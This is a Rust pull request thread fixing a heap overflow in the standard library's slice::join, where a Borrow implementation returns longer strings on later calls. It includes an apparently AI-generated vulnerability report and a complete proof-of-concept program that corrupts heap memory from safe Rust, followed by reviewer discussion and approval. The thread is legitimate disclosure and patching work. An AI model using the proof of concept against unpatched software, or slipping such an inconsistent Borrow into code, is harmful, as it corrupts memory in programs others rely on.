Fix heap overflow in slice::join caused by misbehaving Borrow

[Manishearth]

This code allocates a buffer using lengths calculated by calling .borrow() on some slices, and then copies them over after again calling .borrow(). There is no safety-reliable guarantee that these will return the same slices.

While this code calls .borrow() three times, only one of them is problematic: the others already use checked indexing.

I made the test a normal library test, but let me know if it should go elsewhere.

Bug discovered by Rust Foundation Security using AI. I'm just helping with the patch as a member of wg-security-response. We do not believe this bug needs embargo, it is a soundness fix for hard-to-trigger unsoundness.

[rustbot]

r? @Mark-Simulacrum

rustbot has assigned @Mark-Simulacrum.
They will have a look at your PR within the next two weeks and either review your PR or reassign to another reviewer.

Use r? to explicitly pick a reviewer

Why was this reviewer chosen?

The reviewer was selected based on:

• Owners of files modified in this PR: libs
• libs expanded to 6 candidates
• Random selection from Mark-Simulacrum, jhpratt

[Manishearth]

Report from AI

Details

Human Summary
A heap overflow can be triggered by having a impl Borrow that returns different length strings on consecutive calls to Borrow::borrow(). The length should be calculated and cached from the initial call and and not re-calculated on consecutive calls.

Details

join_generic_copy invokes Borrow::borrow on the first slice element twice: once while summing lengths into reserved_len (line 152) and again when copying it via extend_from_slice (line 160). Because Borrow is a safe trait with no determinism requirement, a user type using interior mutability can legally return a longer &str on the second call, making pos = result.len() exceed reserved_len. Line 164 then computes reserved_len - pos, which silently wraps to a near-usize::MAX value in the distributed stdlib (built without overflow checks), and get_unchecked_mut(..wrapped) fabricates a target slice far larger than the allocation. The split_at_mut bounds check inside copy_slice_and_advance now compares against this bogus huge length and passes, so copy_from_slice writes the next element's bytes past the end of the heap buffer. The CVE-2020-36323 hardening at lines 179-183 only guards against borrows that shrink between calls; it does not cover the first element growing.

Location
library/alloc/src/str.rs:164

Impact
Safe Rust code can corrupt heap memory and potentially gain code execution

Reproduction steps

Define struct E(Cell<u8>) with a safe impl Borrow<str> for E that returns "" on its first invocation and a longer string thereafter. Calling [E(Cell::new(0)), E(Cell::new(0))].join("") yields reserved_len = 0, then extend_from_slice copies the now-nonempty first borrow so pos > 0, and 0usize - pos wraps to ~usize::MAX. Iterating the second element, split_at_mut(content.len()) succeeds against the huge fake length and copy_from_slice writes content past a tiny heap allocation. This is heap corruption triggered entirely from safe, stable Rust through the public [T]::join API.

Recommended fix

The spare-capacity target slice length must be derived only from the actually reserved allocation, never from an unchecked subtraction of values influenced by repeated Borrow calls; an inconsistent Borrow implementation must at worst cause a panic, never an out-of-bounds slice.

Original POC:

Details

//! Proof of concept: heap buffer overflow in `<[S] as Join<&str>>::join`
//! via an inconsistent (but entirely safe) `Borrow<str>` implementation.
//!
//! This is the *first-element-grows* variant that was **not** covered by the
//! CVE-2020-36323 fix (rust-lang/rust#81728).
//!
//! How to run
//! ----------
//!   $ rustc -O poc.rs && ./poc
//!   # or: cargo run --release
//!
//! Expected outcome on a normal glibc / jemalloc / system allocator target:
//! a SIGSEGV during the memcpy, or an allocator integrity abort
//! ("malloc(): corrupted top size", "free(): invalid next size", etc.) on the
//! next allocation. Under AddressSanitizer it reports a heap-buffer-overflow.
//!
//! Notes
//! -----
//! * Build **in release** (or with `-C debug-assertions=off`). On recent
//!   toolchains, debug builds enable library-UB precondition checks inside
//!   `slice::get_unchecked_mut` / `from_raw_parts_mut` which abort *before*
//!   the OOB write with a message like
//!   "unsafe precondition(s) violated: slice::get_unchecked_mut ...".
//!   That abort is itself a confirmation of the soundness hole, but the
//!   release build shows the actual heap corruption.
//! * `cargo miri run` will most likely panic on the `0usize - 1` subtraction
//!   instead, because Miri's sysroot is built with overflow checks. That is
//!   also a confirmation: a value derived from a second `borrow()` call on
//!   user-controlled safe code is being fed into unchecked arithmetic inside
//!   `unsafe { }`.
//!
//! No `unsafe` appears anywhere in this file.

#![forbid(unsafe_code)]

use std::borrow::Borrow;
use std::cell::Cell;

/// A type whose `Borrow<str>` impl returns one value on the first call and a
/// different (longer) value on every subsequent call. `Borrow` is a safe
/// trait; nothing in its contract forbids this.
struct Liar {
    calls: Cell<u32>,
    second: String,
}

impl Liar {
    fn new(second: impl Into<String>) -> Self {
        Self { calls: Cell::new(0), second: second.into() }
    }
}

impl Borrow<str> for Liar {
    fn borrow(&self) -> &str {
        let n = self.calls.get();
        self.calls.set(n + 1);
        if n == 0 {
            // Call #1 — used by `join_generic_copy` for the length sum.
            ""
        } else {
            // Call #2 — used by `extend_from_slice` (element 0) or by
            // `specialize_for_lengths!` (elements 1..). Longer than call #1.
            &self.second
        }
    }
}

fn main() {
    // Element 0:
    //   borrow#1 -> ""    (contributes 0 to reserved_len)
    //   borrow#2 -> "A"   (extend_from_slice reallocates; len=1, cap≈8)
    //   => pos(=1) > reserved_len(=0); `reserved_len - pos` wraps to usize::MAX;
    //      `spare_capacity_mut().get_unchecked_mut(..usize::MAX)` fabricates a
    //      huge target slice over a ~7-byte region.
    //
    // Element 1:
    //   borrow#1 -> ""    (contributes 0 to reserved_len)
    //   borrow#2 -> 64 KiB of 'B'
    //   => `split_at_mut(65536)` "succeeds" against the bogus usize::MAX
    //      length, and `copy_from_slice` writes 64 KiB starting one byte into
    //      an ~8-byte heap allocation.
    let elems = [
        Liar::new("A"),
        Liar::new("B".repeat(64 * 1024)),
    ];

    // Public, stable, safe API.
    let s: String = elems.join("");

    // We don't expect to get here on most allocators.
    eprintln!(
        "survived join(); result len = {}, cap = {}",
        s.len(),
        s.capacity()
    );
    // If we *did* get here, len > cap (another invariant violation) and the
    // heap around the allocation is corrupted; provoke the allocator a bit.
    let _boxes: Vec<Box<[u8; 32]>> = (0..1024).map(|_| Box::new([0xCCu8; 32])).collect();
    eprintln!("survived follow-up allocations (unexpected)");
}

[ChrisDenton]

Could we not ensure we only borrow once rather than mitigating issues caused by multiple borrows?

[robofinch]

Could we not ensure we only borrow once rather than mitigating issues caused by multiple borrows?

Looks like there are O(n) things to be borrowed, so without a temporary allocation to store and reuse those borrows, it doesn't seem possible to precompute the length of the output Vec without an extra round of borrows.

[ChrisDenton]

Could we not ensure we only borrow once rather than mitigating issues caused by multiple borrows?

Looks like there are O(n) things to be borrowed, so without a temporary allocation to store and reuse those borrows, it doesn't seem possible to precompute the length of the output Vec without an extra round of borrows.

Right but at the very least we can borrow them only once for the length calculation and only once again for the actual usage.

E.g. something like:

     // the first slice is the only one without a separator preceding it
     let first = match iter.next() {
-        Some(first) => first,
+        Some(first) => first.borrow().as_ref(),
         None => return vec![],
     };

...

     let reserved_len = sep_len
         .checked_mul(iter.len())
         .and_then(|n| {
-            slice.iter().map(|s| s.borrow().as_ref().len()).try_fold(n, usize::checked_add)
+            iter.clone()
+                .map(|s| s.borrow().as_ref().len())
+                .try_fold(n, usize::checked_add)
+                .and_then(|n| n.checked_add(first.len()))
         })
         .expect("attempt to join into collection with len > usize::MAX");

[theemathas]

A redditor noted that this issue seems to be a reoccurrence of #80335

[ChrisDenton]

A redditor noted that this issue seems to be a reoccurrence of #80335

Yes, we have one test for that but it doesn't appear to cover this specific case.

[Mark-Simulacrum]

I think heading in a direction like what @ChrisDenton suggests would make sense to be more confident we've fully closed the problem. But this implementation doesn't seem like it makes things worse so I'd be OK merging it in first, r=me if so.

View changes since this review

[Mark-Simulacrum]

@bors squash

[rust-bors]

🔨 2 commits were squashed into da545d0.

[Mark-Simulacrum]

@bors r+

[rust-bors]

📌 Commit da545d0 has been approved by Mark-Simulacrum

It is now in the queue for this repository.